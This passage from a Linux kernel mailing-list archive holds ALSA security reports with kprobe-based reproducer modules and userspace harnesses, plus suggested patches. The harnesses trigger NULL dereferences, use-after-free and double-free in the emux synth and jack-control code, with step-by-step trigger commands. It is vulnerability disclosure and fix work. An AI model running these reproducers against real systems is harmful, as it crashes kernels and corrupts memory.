		if (stat("/dev/snd/hwC0D0", &st) == 0)
			break;
		usleep(1000);
	}
	if (tries >= 5000) {
		fprintf(stderr, "MR05: hwC0D0 never appeared\n");
		return 1;
	}
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "MR05: open: %s\n", strerror(errno));
		return 1;
	}
	printf("MR05: opened inside probe window, issuing MISC_MODE\n");
	fflush(stdout);
	memset(&mm, 0, sizeof(mm));
	mm.port = -1;
	mm.mode = 0;
	mm.value = 0;
	ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
	printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
	fflush(stdout);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: synth_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "load"))
		return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
	if (!strcmp(argv[1], "reload"))
		return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
	if (!strcmp(argv[1], "mr03"))
		return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
	if (!strcmp(argv[1], "mr04"))
		return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
	if (!strcmp(argv[1], "mr04hold"))
		return plan_mr04hold();
	if (!strcmp(argv[1], "mr05"))
		return plan_mr05();
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
/*
* synthmr05.c - controlled-window verification for SYNTH-MR-05
* (docs/manual-review-sound-synth-2026-11-26.md §2.5):
*
* snd_emux_register() calls snd_emux_init_hwdep() FIRST, whose
* snd_card_register() publishes /dev/snd/hwC*D* to userspace, and only then
* snd_emux_init_seq() fills emu->portptrs[] (kzalloc'd NULL until then).
* A user opening the hwdep node inside that window and issuing
* SNDRV_EMUX_IOCTL_MISC_MODE hits snd_emux_hwdep_misc_mode() ->
* emu->portptrs[i]->ctrls[..] with portptrs[i] == NULL -> NULL-pointer
* WRITE -> oops.
*
* Controlled window: kprobe on snd_emux_init_seq() stalls the (single-caller)
* probe thread at its entry - i.e., exactly after the hwdep node is exposed
* and before portptrs[] is filled. Userspace polls for the node, opens it,
* issues the ioctl -> deterministic NULL deref. After the stall expires the
* registration completes.
*/
#define pr_fmt(fmt) "SYNTHMR05: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
static struct kprobe mr5_kp;
static struct completion reg_done;

static unsigned int stall_ms = 4000;
module_param(stall_ms, uint, 0400);

static int mr5_start(struct snd_emux_voice *vp) { return 0; } static void mr5_void1(struct snd_emux_voice *vp) {}
static void mr5_void2(struct snd_emux_voice *vp, int u) {} static struct snd_emux_voice *mr5_get_voice(struct snd_emux *e,
struct snd_emux_port *port)

{
	return NULL;
}
static int mr5_snew(struct snd_emux *e, struct snd_sf_sample *sp,
		    struct snd_util_memhdr *h, const void __user *d, long c)
{
	sp->block = snd_util_mem_alloc(h, 256);
	return sp->block ? 0 : -ENOMEM;
}
static int mr5_sfree(struct snd_emux *e, struct snd_sf_sample *sp,
		     struct snd_util_memhdr *h)
{
	if (sp->block) {
		snd_util_mem_free(h, sp->block);
		sp->block = NULL;
	}
	return 0;
}
static const struct snd_emux_operators mr5_ops = {
	.owner = THIS_MODULE,
	.get_voice = mr5_get_voice,
	.prepare = mr5_start,
	.trigger = mr5_void1,
	.release = mr5_void1,
	.update = mr5_void2,
	.terminate = mr5_void1,
	.sample_new = mr5_snew,
	.sample_free = mr5_sfree,
};

static int mr5_reg_pre(struct kprobe *p, struct pt_regs *regs)

{
	pr_info("probe thread stalled at snd_emux_init_seq() entry: "
		"hwC0D0 exposed, portptrs[] still NULL (window open)\n");
	mdelay(stall_ms);
	pr_info("probe thread resuming snd_emux_init_seq()\n");
	return 0;
}

static int mr5_reg_thread(void *arg)

{
	int err;

	err = snd_emux_new(&emu);
	if (err < 0) {
		complete(&reg_done);
		return 0;
	}
	emu->ops = mr5_ops;
	emu->hw = card;
	emu->max_voices = 8;
	emu->num_ports = 1;		/* > 0: drives the buggy loop bound */
	emu->midi_ports = 0;
	emu->hwdep_idx = 0;		/* /dev/snd/hwC0D0 */
	emu->memhdr = snd_util_memhdr_new(0x100000);

	/* registers hwdep (exposes hwC0D0 via snd_card_register) and then
	 * enters snd_emux_init_seq() -> stalled by the kprobe */
	err = snd_emux_register(emu, card, 0, "synthmr05");
	pr_info("snd_emux_register returned %d\n", err);
	if (err < 0) {
		snd_emux_free(emu);
		emu = NULL;
	}
	complete(&reg_done);
	return 0;
}

static int arm_set(const char *val, const struct kernel_param *kparam)

{
	struct task_struct *t;
	int ret;

	if (!card)
		return -ENODEV;

	memset(&mr5_kp, 0, sizeof(mr5_kp));
	mr5_kp.symbol_name = "snd_emux_init_seq";
	mr5_kp.pre_handler = mr5_reg_pre;
	ret = register_kprobe(&mr5_kp);
	if (ret) {
		pr_err("register_kprobe(snd_emux_init_seq) failed: %d\n", ret);
		return ret;
	}
	init_completion(&reg_done);
	t = kthread_run(mr5_reg_thread, NULL, "synthmr05_reg");
	if (IS_ERR(t)) {
		unregister_kprobe(&mr5_kp);
		return PTR_ERR(t);
	}
	pr_info("armed: probe thread started, window open for ~%ums\n",
		stall_ms);
	return 0;
}

static const struct kernel_param_ops arm_ops = { .set = arm_set }; module_param_cb(arm, &arm_ops, NULL, 0200);

static int __init synthmr05_init(void)

{
	int err;

	init_completion(&reg_done);
	parent = root_device_register("synthmr05");
	if (IS_ERR(parent))
		return PTR_ERR(parent);
	err = snd_card_new(parent, 0, "synthmr05", THIS_MODULE, 0, &card);
	if (err < 0) {
		root_device_unregister(parent);
		parent = NULL;
		return err;
	}
	return 0;
}

static void __exit synthmr05_exit(void)

{
	wait_for_completion_timeout(&reg_done, msecs_to_jiffies(30000));
	unregister_kprobe(&mr5_kp);
	if (emu) {
		snd_emux_free(emu);
		emu = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(synthmr05_init);
module_exit(synthmr05_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SYNTH-MR-05 probe-window race verification harness");

author
#125 lore raw

PATCH 1/1 ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF)

In reply to Greg KH

Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth sub-driver) pins only the base-card module (try_module_get of hw->card->module in snd_hwdep_open()); the emux sub-driver module is not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or sysfs unbind which bypasses module refcounts) runs snd_emux_free(), which unconditionally kfree()s the struct snd_hwdep, the whole soundfont list (snd_sf_free()) and the struct snd_emux itself -- while the fd stays open with file->private_data pointing at the freed hwdep and in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither hwdep->used nor replaces f_op the way a whole-card disconnect does). Verified on mainline 7.3 with a KASAN kernel and the real in-tree snd-emux-synth module (harness attached): one hundred slab-use-after-free reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct dereference points (emu->sflist, emu->memhdr, emu->portptrs including a UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops -- and, with rmmod, the module text can additionally be unloaded while those callbacks are still running (snd_hwdep_f_ops.owner pins the snd-hwdep module, not the emux one). Needs the synth sub-driver probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables, mutex objects) and execution of unloaded module text -- crashes and a controlled indirect-call surface.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled, QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and sound/core/rawmidi.c are byte-identical between the tested tree and the report baseline.

* Mechanism

- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux hwdep registers no ops.open/ops.release hooks (emux_hwdep.c:126-131), so nothing increments snd_emux usage for hwdep fds (contrast: sequencer port subscribe and OSS-sequencer open both go through snd_emux_inc_count(), which also pins emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl

    without holding hw->open_mutex; the emux ioctl touches
    hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
  - The sub-driver removal path snd_emux_free() (emux.c:124-143)
    performs snd_emux_delete_hwdep() -> snd_device_free() ->
    snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
    does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
    (hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
    kfree(emu) -- none of it waits for hwdep->used to drop.

- Whole-card snd_card_free() is NOT affected: snd_card_disconnect() replaces open fds' f_op with snd_shutdown_f_ops and the teardown waits for all files to close before the free sequence runs. The sub-driver independent removal bypasses that protocol entirely -- that bypass is the defect.

The same shape exists for the emux virtual rawmidi devices (snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices; snd_rawmidi_open() likewise only pins the card module and snd_rawmidi_free() kfrees unconditionally), and for the probe error path of snd_emux_register() (init_hwdep registers the device, then a later init_seq failure frees everything through snd_emux_free()). This patch fixes the hwdep fd face; the rawmidi face is mentioned for completeness and needs the equivalent treatment.

* Trigger model

emu10k1/emu8000 hardware with the synth sub-driver probed (hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep fd open and issues ioctls; another (root, or hot-unplug hardware event) runs rmmod snd_emu10k1_synth (works: hwdep fds contribute no sub-driver module refcount) or writes the driver's unbind file.
Consequence: UAF read/write on struct snd_hwdep (function pointer table hw->ops, hw->used decrement), struct snd_emux, struct snd_sf_list (presets_mutex operations on freed memory) and the portptrs targets, plus execution of already-unloaded module text in the rmmod case.

* Reproducer and results on 7.3

synthrace.c registers the real in-tree emux on a virtual card (snd_emux_new/snd_emux_register, backend ops mirroring emu10k1); synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls; writing 1 to the module's "free" parameter runs the real snd_emux_free() (the sub-driver remove body) under the hammer.

Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:

  snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
  portptrs accesses, including a UAF write) and
  snd_hwdep_ioctl+0x11f (hw->ops read).  A harness run with the free
  disabled stays clean.

* Fix

Give hwdep fds the same user accounting the sequencer and OSS paths already have, and make the sub-driver removal wait for them:

- register hw->ops.open / hw->ops.release calling

    snd_emux_inc_count() / snd_emux_dec_count().  inc_count already
    try_module_get()s emu->ops.owner (the sub-driver module), so an
    open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;

- count open fds additionally in a new atomic emu->hwdep_users and make snd_emux_free() wait for it to drain (at the top, before any sub-structure is torn down, so in-flight ioctls cannot observe partially freed state either).

sysfs unbind bypasses module refcounts, which is why the drain wait is needed in addition to the refcount. This matches the semantics the whole-card path already provides (snd_card_disconnect() waits for open files before anything is freed).

The patch is a suggested direction, written against 7.3 and reviewed by inspection; it has not been runtime-validated (the reported reproduction used the unpatched kernel). Happy to test any counter-proposal.

* Patch

[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures

snd_emux_free() (the sub-driver remove path, reachable via rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep, the soundfont list and the struct snd_emux without waiting for open hwdep file descriptors: hwdep fds pin only the base-card module, the emux hwdep registers no open/release hooks, and an in-flight snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every later operation on the stale fd hits freed memory. KASAN on 7.3 shows 100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this interleave.

Register hwdep open/release hooks that take snd_emux_inc_count() (also pinning emu->ops.owner against rmmod, like the sequencer and OSS-sequencer paths already do), count them in a new emu->hwdep_users, and make snd_emux_free() wait for that count to drain before tearing anything down -- mirroring the drain that snd_card_disconnect() performs for whole-card removal. Note that sysfs unbind is not covered by module refcounts, which is why the drain wait is required in addition to the refcount.

include/sound/emux_synth.h +7 -1
@@ -99,6 +99,8 @@ struct snd_emux {
 	int use_time;	/* allocation counter */
 	spinlock_t voice_lock;	/* Lock for voice access */
 	struct mutex register_mutex;
+	atomic_t hwdep_users;	/* open hwdep fds */
+	wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
 	int client;		/* For the sequencer client */
 	int ports[SNDRV_EMUX_MAX_PORTS];	/* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
 	spin_lock_init(&emu->voice_lock);
 	mutex_init(&emu->register_mutex);
+	atomic_set(&emu->hwdep_users, 0);
+	init_waitqueue_head(&emu->free_wait);
 	emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
 	if (! emu)
 		return -EINVAL;
 
 	timer_shutdown_sync(&emu->tlist);
+
 
 
+	wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));

snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);

sound/synth/emux/emux_hwdep.c +0 -0
@@ (before snd_emux_hwdep_ioctl)

+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file) +{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file) +{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE; hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;

Signature · 8 lines
2.47.1


  Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* synthmr02.c - controlled-window verification for SYNTH-MR-02
* (docs/manual-review-sound-synth-2026-11-26.md §2.2):
*

 *   card->devices is unlocked; snd_card_disconnect() ->
 *   snd_device_disconnect_all() walks it in reverse with no lock, while the
 *   sub-driver remove body snd_emux_free() -> snd_device_free(hwdep)
 *   concurrently list_del()s and kfree()s the very same struct snd_device.

*
* Setup mirrors the emu10k1 shape: a card owning
* - a parent snd_seq_device (SNDRV_DEV_SEQUENCER = 8, like the real
* "emu10k1-synth" device created by the base driver),
* - the emux hwdep (SNDRV_DEV_HWDEP = 9),
* - the card control device (SNDRV_DEV_CONTROL = 11).
*
* Controlled window: kprobe on snd_hwdep_dev_disconnect() whose *caller* is
* snd_device_disconnect_all() (return address inside
* [snd_device_disconnect_all, snd_device_free_all), resolved at runtime via
* kprobe registration addresses) stalls the disconnect walker right before
* it dereferences the (soon freed) struct snd_hwdep; then the sub-driver
* remove body snd_emux_free() frees hwdep + struct snd_device; release ->
* UAF on struct snd_hwdep and struct snd_device.
*
* Note the caller filter is what makes this deterministic: the freer's own
* snd_hwdep_dev_disconnect() call comes from snd_device_free() and must NOT
* stall.
*/
#define pr_fmt(fmt) "SYNTHMR02: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/seq_device.h>
#include <sound/util_mem.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
static struct snd_seq_device *sdev;

static atomic_t armed = ATOMIC_INIT(0); static atomic_t stall_hit = ATOMIC_INIT(0); static struct kprobe kp_disc, kp_da_start, kp_da_end; static unsigned long da_lo, da_hi;
static struct completion disc_kthread_done;

static unsigned int stall_max_ms = 60000;
module_param(stall_max_ms, uint, 0400);

/* --- fake backend (unused by this case, but required by the API) --- */

static struct snd_emux_voice *mr2_get_voice(struct snd_emux *e,
struct snd_emux_port *port)

{
	return NULL;
}

static int mr2_start(struct snd_emux_voice *vp) { return 0; } static void mr2_void1(struct snd_emux_voice *vp) {}
static void mr2_void2(struct snd_emux_voice *vp, int u) {} static int mr2_snew(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *h, const void __user *d, long c)

{
	sp->block = snd_util_mem_alloc(h, 256);
	return sp->block ? 0 : -ENOMEM;
}
static int mr2_sfree(struct snd_emux *e, struct snd_sf_sample *sp,
		     struct snd_util_memhdr *h)
{
	if (sp->block) {
		snd_util_mem_free(h, sp->block);
		sp->block = NULL;
	}
	return 0;
}
static const struct snd_emux_operators mr2_ops = {
	.owner = THIS_MODULE,
	.get_voice = mr2_get_voice,
	.prepare = mr2_start,
	.trigger = mr2_void1,
	.release = mr2_void1,
	.update = mr2_void2,
	.terminate = mr2_void1,
	.sample_new = mr2_snew,
	.sample_free = mr2_sfree,
};

/* --- the controlled window --- */

static int mr2_disc_pre(struct kprobe *p, struct pt_regs *regs)

{
	unsigned long ret;

	if (!atomic_read(&armed))
		return 0;
	/* at function entry, [regs->sp] holds the return address */
	ret = *(unsigned long *)regs->sp;
	if (ret < da_lo || ret >= da_hi)
		return 0;	/* freer's own call: from snd_device_free() */

	atomic_inc(&stall_hit);
	pr_info("disconnect walker stalled inside snd_hwdep_dev_disconnect "
		"(caller=snd_device_disconnect_all, ret=%px)\n", (void *)ret);
	{
		unsigned long deadline = jiffies +
			msecs_to_jiffies(stall_max_ms);

		while (atomic_read(&armed) && time_before(jiffies, deadline))
			cpu_relax();
	}
	pr_info("disconnect walker resuming (hwdep+snd_device now freed)\n");
	return 0;
}

static int mr2_kp_probe_by_name(struct kprobe *kp, const char *name)

{
	int ret;

	memset(kp, 0, sizeof(*kp));
	kp->symbol_name = name;
	ret = register_kprobe(kp);
	return ret;
}

/* thread B body: card hot-removal side */
static int mr2_disc_thread(void *arg)

{
	struct snd_card *c = arg;

	snd_card_disconnect(c);
	pr_info("disconnect thread finished\n");
	complete(&disc_kthread_done);
	return 0;
}

static int arm_set(const char *val, const struct kernel_param *kp)

{
	struct task_struct *t;
	int ret;

	if (!card)
		return -ENODEV;

	/* resolve snd_device_disconnect_all() bounds at runtime */
	ret = mr2_kp_probe_by_name(&kp_da_start, "snd_device_disconnect_all");
	if (ret)
		return ret;
	da_lo = (unsigned long)kp_da_start.addr;
	ret = mr2_kp_probe_by_name(&kp_da_end, "snd_device_free_all");
	if (ret) {
		unregister_kprobe(&kp_da_start);
		return ret;
	}
	da_hi = (unsigned long)kp_da_end.addr;
	unregister_kprobe(&kp_da_start);
	unregister_kprobe(&kp_da_end);
	pr_info("snd_device_disconnect_all = [%px, %px)\n",
		(void *)da_lo, (void *)da_hi);

	ret = mr2_kp_probe_by_name(&kp_disc, "snd_hwdep_dev_disconnect");
	if (ret)
		return ret;
	kp_disc.pre_handler = mr2_disc_pre;

	atomic_set(&armed, 1);
	init_completion(&disc_kthread_done);

	/* thread B: card hot-removal side */
	t = kthread_run(mr2_disc_thread, card, "synthmr02_disc");
	if (IS_ERR(t)) {
		atomic_set(&armed, 0);
		unregister_kprobe(&kp_disc);
		return PTR_ERR(t);
	}
	pr_info("armed: snd_card_disconnect() thread started\n");
	return 0;
}

static const struct kernel_param_ops arm_ops = { .set = arm_set }; module_param_cb(arm, &arm_ops, NULL, 0200);

static int go_set(const char *val, const struct kernel_param *kp)

{
	if (!atomic_read(&armed) || !emu)
		return -ENODEV;
	/* give the disconnect walker time to reach the hwdep node + stall */
	msleep(1500);
	/*
	 * Collision-critical release: the body of snd_emux_delete_hwdep()
	 * (emux_hwdep.c:143-150), which is what snd_emux_free() calls on the
	 * rmmod/unbind path. Invoked directly so the deterministic window is
	 * not diluted by the seq-client teardown's synchronize_rcu() (which
	 * stretches to tens of seconds on a loaded 2-vCPU KASAN guest and is
	 * unrelated to the audited collision).
	 */
	pr_info("go: running snd_device_free(card, emu->hwdep) "
		"(body of snd_emux_delete_hwdep)\n");
	snd_device_free(card, emu->hwdep);
	emu->hwdep = NULL;
	pr_info("go: hwdep snd_device freed, releasing stalled walker\n");
	atomic_set(&armed, 0);
	wait_for_completion_timeout(&disc_kthread_done,
				    msecs_to_jiffies(20000));
	pr_info("go: done (stall hits: %d)\n", atomic_read(&stall_hit));
	return 0;
}

static const struct kernel_param_ops go_ops = { .set = go_set }; module_param_cb(go, &go_ops, NULL, 0200);

/* --- setup --- */

static int __init synthmr02_init(void)

{
	int err;

	parent = root_device_register("synthmr02");
	if (IS_ERR(parent))
		return PTR_ERR(parent);
	err = snd_card_new(parent, 1, "synthmr02", THIS_MODULE, 0, &card);
	if (err < 0)
		goto err_parent;

	err = snd_emux_new(&emu);
	if (err < 0)
		goto err_card;
	emu->ops = mr2_ops;
	emu->hw = card;
	emu->max_voices = 8;
	emu->num_ports = 1;
	emu->midi_ports = 0;
	emu->hwdep_idx = 0;
	emu->memhdr = snd_util_memhdr_new(0x100000);
	err = snd_emux_register(emu, card, 0, "synthmr02");
	if (err < 0)
		goto err_emux;

	/* the parent sequencer device, like the real "emu10k1-synth" one */
	err = snd_seq_device_new(card, 0, "synthmr02", 0, &sdev);
	if (err < 0)
		goto err_emux;
	err = snd_device_register(card, sdev);
	if (err < 0)
		goto err_emux;

	pr_info("card1 ready: SEQ(8)+HWDEP(9)+CTL(11) devices on card->devices\n");
	return 0;

err_emux:

	snd_emux_free(emu);
	emu = NULL;
err_card:
	snd_card_free(card);
	card = NULL;
err_parent:
	root_device_unregister(parent);
	parent = NULL;
	return err;
}

static void __exit synthmr02_exit(void)

{
	atomic_set(&armed, 0);
	if (emu) {
		snd_emux_free(emu);
		emu = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(synthmr02_init);
module_exit(synthmr02_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SYNTH-MR-02 card->devices race verification harness");

author
#126 lore raw

ALSA: jack: snd_jack_kctl_new() frees a published snd_kcontrol when the jack private-part allocation fails (UAF/double-free)

In reply to Greg KH

snd_jack_kctl_new() publishes the jack-detection kcontrol to the card first (snd_ctl_add() links it into card->controls and into the ctl_numids/ctl_hash xarrays) and only then allocates the jack private part; when that kzalloc fails, the error path calls snd_ctl_free_one() on the kcontrol that is still linked into all three indexes -- without holding card->controls_rwsem and without unlinking it. The result is a persistent dangling entry: every later control-face access (ELEM_LIST / ELEM_INFO / ELEM_READ ioctls) dereferences freed memory, and the final card teardown walks the same dangling entry and frees it a second time.

Reached on a live registered card through the HDA reconfig path:
echo 1 > /sys/class/sound/hwC0D0/reconfig runs snd_hda_codec_reset(), which clears card->shutdown via snd_hda_unlock_devices() before device_reprobe(), so /dev/snd/controlC* is fully operational while the reprobe creates jacks through snd_jack_kctl_new(). The only random component is the allocation failure itself; since our test kernel ships no CONFIG_FAILSLAB, we injected it surgically with a one-shot kprobe on the kzalloc return instruction inside snd_jack_kctl_new (+0x56, guarded against build drift by live opcode bytes), which drives the byte-identical in-tree code through the audited error branch. 957 KASAN use-after-free reports followed immediately, with the free stack pointing at the audited rollback itself and the use stacks in the control-face readers and in the removal path. A negative control running the same reconfig + reader + unbind sequence without injection is clean. Writing the sysfs attribute requires root or equivalent; the consequence is kernel memory corruption and a double free.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball (kernel.org), KASAN enabled, QEMU/KVM x86_64 guest with intel-hda + hda-duplex; kernel configured with CONFIG_SND_HDA_RECONFIG=y and CONFIG_SND_HDA_GENERIC=y (built-in). sound/core/jack.c, sound/core/control.c and sound/core/ctljack.c are byte-identical to the mainline 7.3 release; line numbers below are from 7.3.

* Mechanism

- Publish first: snd_jack_kctl_new() calls snd_ctl_add()

    (sound/core/jack.c:436) -> __snd_ctl_add_replace() links the
    kcontrol into card->controls under controls_rwlock
    (control.c:497-502) and fills ctl_numids/ctl_hash via
    add_hash_entries() (control.c:403-423, 504), all under write
    controls_rwsem; on return the kcontrol is globally visible.

- Rollback frees the published object: the kzalloc_obj(*jack_kctl) at jack.c:440 fails -> "goto error" -> snd_ctl_free_one(kctl) (jack.c:453) -> kfree(kcontrol) at control.c:331. Nothing removes the list node or the xarray entries; snd_ctl_free_one()'s own contract comment says "Don't call this after the control was added to the card" (control.c:324). The correct sequence (remove_hash_entries() -> list_del -> free) lives in __snd_ctl_remove() (control.c:577-600) and is never reached for this object.

- The dangling state is persistent, not a narrow window: ELEM_LIST walks card->controls and copies the freed kcontrol's id; ELEM_INFO / ELEM_READ resolve it through snd_ctl_find_numid()/find_id() (an unlocked xa_load under CONFIG_SND_CTL_FAST_LOOKUP); and the card teardown, snd_ctl_dev_free() (control.c:2457-2475), walks card->controls under the write lock, runs __snd_ctl_remove() on the dangling node (UAF reads in remove_hash_entries() and snd_ctl_notify_one()) and then frees it a second time.

- Secondary data race in the same function: kctl->private_data and kctl->private_free are written after snd_ctl_add() returned and with no lock held (jack.c:448-449); a concurrent free between the two writes calls snd_ctl_free_one() with private_free still NULL and the post-release write at jack.c:449 lands on freed memory.

* Trigger model

Root (or equivalent -- the codec sysfs attributes are root-writable) writes the reconfig attribute while the card is registered, and the jack private-part kzalloc (jack.c:440, GFP_KERNEL) fails: real memory pressure, or CONFIG_FAILSLAB in a debug kernel (the kernel we tested has no fault injection, hence the targeted injection). Any concurrently opened /dev/snd/controlC* (its ioctl paths hold only the read lock) hits the dangling entry; the card teardown double- frees it. Consequence: use-after-free reads through snd_kcontrol->id/vd[]/ops, a kfree() double free, and a corrupted control namespace (numid/hash entries point at freed memory).

* Reproducer (attached: fwmr01.c, fwmr_test.c) and results on 7.3

fwmr01.c is a module that resolves the (static) snd_jack_kctl_new via kallsyms, registers a one-shot kprobe at +0x56 (the instruction after the kzalloc call, guarded by live opcode bytes "48 89 c5" to catch build drift) and clears %rax in its post_handler exactly once while armed -- an allocation-failure injection at the exact audited point, changing no event order. fwmr_test.c hammers SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on /dev/snd/controlC0.

    # build (against the tested kernel tree)
    make -C <kernel-build-dir> M=$PWD modules
    # guest sequence:
    insmod fwmr01.ko
    echo 1 > /sys/module/fwmr01/parameters/arm
    echo 1 > /sys/class/sound/hwC0D0/reconfig     # injection fires in the reprobe
    ./fwmr_test mr01read 20 &                     # reader hammer
    echo "$PCIADDR" > /sys/bus/pci/drivers/snd_hda_intel/unbind

Results (7.3, 4 vCPU, KASAN):

    - injection hits inside the reprobe on the first jack creation;
      957 KASAN use-after-free reports on a kmalloc-192 object
      (snd_kcontrol), starting ~1 ms after the injection;

    - three-stack closure of the first report: allocated by
      __kmalloc_noprof <- snd_jack_kctl_new+0x15 <- snd_hda_jack_add_kctls
      (real generic-probe jack creation); freed by
      kfree <- snd_jack_kctl_new+0xb5 -- that offset *is* the audited
      error-branch call to snd_ctl_free_one(); used by
      __snd_ctl_remove+0x5a, snd_ctl_elem_list+0x1fa (Read of size 64 =
      two elem_id copies from card->controls), snd_ctl_elem_info+0xb8,
      snd_ctl_release;

    - negative control (same reconfig + reader + unbind, no injection):
      0 reports, clean unbind.

Evidence excerpts attached (first-hit three stacks, injection point, hit-site distribution).

* Suggested patch

Allocate and fully initialize the private part before publishing the kcontrol. With private_free set before snd_ctl_add(), the add()'s own failure path (snd_ctl_add_replace() -> snd_ctl_free_one()) frees both objects correctly, and the audited error branch disappears. The complete patch against 7.3 follows (also kept as patch/0001-fw-mr01.patch); happy to rework per review.

---- patch begins ----
---

sound/core/jack.c +13 -14
@@ -433,25 +433,31 @@
 	if (!kctl)
 		return NULL;
 
+	jack_kctl = kzalloc_obj(*jack_kctl);
+	if (!jack_kctl) {
+		snd_ctl_free_one(kctl);
+		return NULL;
+	}
+
+	jack_kctl->kctl = kctl;
+	jack_kctl->mask_bits = mask;
+	INIT_LIST_HEAD(&jack_kctl->list);
+
+	kctl->private_data = jack_kctl;
+	kctl->private_free = snd_jack_kctl_private_free;
+
 	err = snd_ctl_add(card, kctl);
 	if (err < 0)
 		return NULL;
 
-	jack_kctl = kzalloc_obj(*jack_kctl);
-
-	if (!jack_kctl)
-		goto error;
-
-	jack_kctl->kctl = kctl;
-	jack_kctl->mask_bits = mask;
-
-	kctl->private_data = jack_kctl;
-	kctl->private_free = snd_jack_kctl_private_free;
-
 	return jack_kctl;
-error:
-	snd_ctl_free_one(kctl);
-	return NULL;
 }
 
 /**

---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
